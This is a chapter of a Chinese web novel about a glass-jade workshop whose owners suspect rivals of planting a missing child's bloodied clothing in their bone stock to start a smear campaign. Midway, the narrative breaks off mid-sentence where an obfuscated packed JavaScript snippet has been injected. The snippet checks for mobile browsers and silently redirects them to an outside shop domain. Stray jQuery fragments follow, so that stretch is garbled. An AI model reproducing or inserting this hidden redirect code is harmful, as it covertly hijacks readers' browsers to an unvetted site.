文趣网 > 其他小说 > 前辈留下的烂摊子 > 18. 初现端倪
    易伍正苦于没理由脱身,见到报信的小厮就像见到了金元宝,都不等他喘匀气儿,一手扶着发冠,一手拉着裙摆,就要往院外窜。

    “慢些,慢些,姐夫不会有事……”

    抱着对祁安的绝对自信,林清和还有时间在后面安慰易伍。

    “鱼姑娘,主君在正堂等您呢。”

    见易伍是奔着出府的方向跑的,小厮赶忙提醒。

    易伍见已经出了院门,也就松了小厮,边走边继续拆发髻。

    竹青跟在她后面,一步一停的帮她收拢刚拆下来的发饰。

    “对了,姐夫出什么事了?”

    祁宅占地面积虽大,但正经主子加上易伍也不过三人,且都是喜欢自力更生的主儿,所以家里可供驱使的仆役并不多。

    经过层层筛选,能留在后院伺候的,更是规行矩步,让人半点错都挑不出来的。

    但今天这小厮明显就是慌了心神,易伍断定祁安一定经历了什么,才会让身边的小厮彻底失态。

    “今早主君在工坊时……”

    这位小厮是一直跟在祁安身边的,口齿伶俐,三两句就将事情完整的讲了一遍。

    用易伍的话总结就是,有人为了要整垮林家工坊,要用旁人的性命往她们身上泼脏水了。

    祁安一大早就去林家工坊了,他主要关心的,还是那一炉正在退火的彩色药玉的情况。

    还没等他走进窑区,就有人涕泗横流的冲到他面前,要他大发慈悲救救自己的孩子。

    祁安是从城东走出去的,这些年也帮了邻里不少忙,算是叫得上名号的善人,所以这样拦路哭号的事虽少见,但祁安等人并不觉得奇怪。

    将人请到待客室后,哭号的妇人抽噎着讲述了自己是如何发现孩子不见了的全过程。

    稍作安慰后,祁安找了几个和妇人熟识的工人,允他们帮忙寻找,并不扣他们的工钱。

    不过是小儿贪玩走失,祁安。做到这地步,就已经算是仁至义尽,孩子活蹦乱跳的找回来,自然皆大欢喜,若是出了什么意外,祁安还会亲上门表示一下遗憾。

    在祁安看来,这事基本上就处理完了,但变故发生在下午。

    下午的时候,卓清清点原料库存,发现骨粉所剩无多,就让人去库房取了骨料,准备再烧一窑骨粉。

    取骨料的窑工中,就有和那位走失的孩童相熟的,他在骨料上发现了孩童的衣角,哆哆嗦嗦藏进了自己怀中。

    卓清检查骨料的时候,也发现骨料上似是带着新鲜血迹,保险起见,她让人将沾了血迹的骨料挑了出来,最后干脆暂停了烧制骨粉的事。

    其他人不清楚这些骨料的来历,卓清却是清楚的,在丰乐楼后厨拿出来的骨料,都是煮好甚至是有客人啃干净了的,哪里还会带着新鲜血迹。

    知道这事不同寻常,卓清第一时间将所有接触了这批骨料的窑工控制了起来,不许他们接触外面,同时着人叫来了祁安,说明了情况。

    祁安斟酌之后,当着所有窑工的面,将带血的骨料收好,又告诉他们骨料的来历,苦口婆心之下,终于哄得那位窑工交出那角衣物。

    等祁安拿到所有证据,他叫来的衙役也到了现场,在工坊转了一圈后,带着骨料和衣角又回了衙门。

    送走衙役,祁安却始终不能心安,亲自找到了那位伤心欲绝的母亲,告知了工坊中的发现,只说是怀疑,那位母亲就足够伤心欲绝了。

    留了几块碎银子离开后,祁安就急匆匆的来找易伍了。

    易伍到正堂后,在祁安的视角里,又听到了其他东西。

    “阿音说过,巧合太多就不是巧合了。

    城东一向安静,莫说是拍花子,就连寻衅打架的都少见。

    这次先是孩子母亲一大早就央求到工坊门前,惹了一大堆热闹,后又在骨料里发现了新鲜血迹和衣角,我总觉得不安。”

    易伍想了想,如果跳出孩子走失这件事,这么折腾一番,无论孩子是否平安归来,工坊似乎都落不到好处。

    如果那片衣角确实是那孩子身上的,一旦传扬出去,工坊怕是转眼就成了吃人的诡异之地。

    还是所有人最痛恨的,专吃小孩儿的那种。

    “姐夫可是认为……”

    “骨玉!”

    两人同时说出了“骨玉”二字。

    易伍眼中是无尽的震撼,她震惊于对手的下限实在令人不齿。

    祁安眼中却尽是了然,果然他和易伍想到了一起去。

    “我和季徒接触不多,但见他行事虽带些孟浪,却不像大奸大恶之人,怎么……”

    祁安叹了口气,林家工坊的敌人又何止季徒一家,季徒不会做,并不代表其他人也不会这么做。

    更何况,近墨者黑,即使是他,也无法确定,季徒就和此事无关。

    “杀人诛心,就算宝根那孩子最后找回来了,咱家工坊这骨玉怕是也不会好卖了。”

    易伍想想也是,在娱乐设施极度缺乏的大梁,随便一个流言就能闹得满城风雨,更何况,这次的流言不但带着灵异色彩,还牵扯着钱塘郡有头有脸的祁安。

    易伍忽然想起昨日从磬音坊带回来的乳浊色药玉,她突然理解了,磬音坊为什么会选择荧光更冷,明显不像玉的配方大批量烧制了。

    和琼玉阁的骨玉区分出来,就是为了告诉所有人,两家的配方截然不同。

    流言传扬开后,磬音坊不但能免受牵连,还能因为骨玉的名声大造大赚一笔。

    当真是好算计。

    那边嘱咐竹青去取簪子,这边易伍就和祁安说了自己的发现。

    祁安的眉头皱的更紧了。

    他是知道磬音坊一楼最近上了新品,反应还不错,但并未注意过,他们上的竟然已经是“骨玉”了。

    主要是没想到,季徒手里竟然还有骨玉的替代配方。

    “你可知道他们是用什么色料烧制的么?”

    知道了配料,说不定也能照猫画虎,以新的配方为基底,重新调整所有彩色药玉的配方。

    易伍摇摇头,她若是知道,也不会冒着骨玉自带的舆论风险也要实验相关配方。

    祁安挠头,这还是第一次,其他药玉工坊拿出自家不知道的配方出来的。

    “或许也不必太过担心了,我砸了几支簪子,他们的药玉明显更脆,质地也不够均匀,做寻常头饰或还凑合,稍富裕些的人家,应该都看不上的。”

    易伍说的是实话,但其实心里没底。

    在无关自身利益的道德标准上,有钱人向来是比底层人更严格的。

    佩戴饰品

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17746598|208858||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    是为了锦上添花,一旦饰品有了道德瑕疵,就好像整个人都要受到一样的责备了似的。

    有钱人是没时间听什么真相、解释,也不屑于向其他人解释这饰品背后的曲折故事的。

    不能让他们带出门炫耀财富的饰品,是天然不配进入他们的妆奁的。

    总之,骨玉和这些带血的传言一旦扯上关系,她们最近做出的努力就全要打水漂了。

    易伍下意识的扶住太阳穴,还是低估了商战的底线。

    她以为的商战,是提高良品率,改良设计,精进工艺,赚踏踏实实的钱。

    她经历的商战,却是抹黑、挖苦、恶意竞争,无所不用其极。

    “不知衙门那里是什么态度?可要在工坊内搜查一番?”

    易伍忽然将话题重新引向宝根失踪,她还不够清楚这里的衙门办事态度和积极性。

    如果衙门愿意雷霆出击,最好明日就找到宝根,让一切真相大白,或许流言就没了传播的土壤。

    宝根一日没找到,林家工坊的嫌疑就重一分,流言也就更肆无忌惮一分。

    “倒是带走了染血的骨料和衣角,还简单查了库房里剩余的骨料,并没有给出具体结论。”

    易伍斟酌着用词,语气中全是不确定。

    “敢问这届坐衙门的官老爷,可是个勤政爱民的?”

    祁安脸上也出现了犹豫神色,最终还是给出了相对公平的论断。

    “这届县令倒是个刑案上的好手,只是,怕不是个心思坚定的,这两年也流出了贪财的名声来。”

    行吧,也算是个答案,易伍无奈耸肩。

    “既然还算清明,姐夫明日不如送那妇人去敲冤鼓,再引县令到工坊搜查一番,先行洗去工坊的嫌疑如何?”

    祁安眼前一亮,确实是个可行之法,但神色立马又暗淡了下去。

    李县令在平民百姓眼里虽有些官声,但并不只是好的一面。

    毕竟老虎也有打盹的时候,有时候只是一桩错案,就能葬送一位官员的好名声。

    更何况,若是百姓们咬定工坊有问题,李县令越大张旗鼓宣扬工坊没问题,反而更像是收了藏钱在包庇林家工坊。

    谣言这种东西,向来是无关真假的,只要浪起了,风从哪里来的就不再重要了。

    易伍继续沉默,好像确实是更像林家工坊做贼心虚着急洗脱罪名的样子。

    挠头,都说了她不擅长这种事的,怎么总拿这些事为难她!

    “既然流言可以随风起,若是我们也利用流言呢?”

    抓耳挠腮之后,易伍只得给出了这个笨办法。

    借县令之口洗脱罪名是一定要做的,同时还要加大对宝根的搜索力度,更要再编个更为离奇的故事,将宝根工坊冒险记改成宝根奇遇记,只要不涉及到林家工坊,怎么花哨怎么改。

    有这么个新鲜出炉的热闹可以听,自然没人记得林家工坊搜出的那些无关痛痒的假证了。

    易伍的笨办法听的祁安眼睛都亮了,稍微忖度之后,祁安就得到了自己想要的答案,连晚饭都顾不上吃,丢下易伍就冲了出去,边走还不忘念叨着夸自己。

    这么绝妙的主意都想的到,简直就是个天才!

    易伍笑着摇头,这下子,始作俑者怕是也不能置身事外了。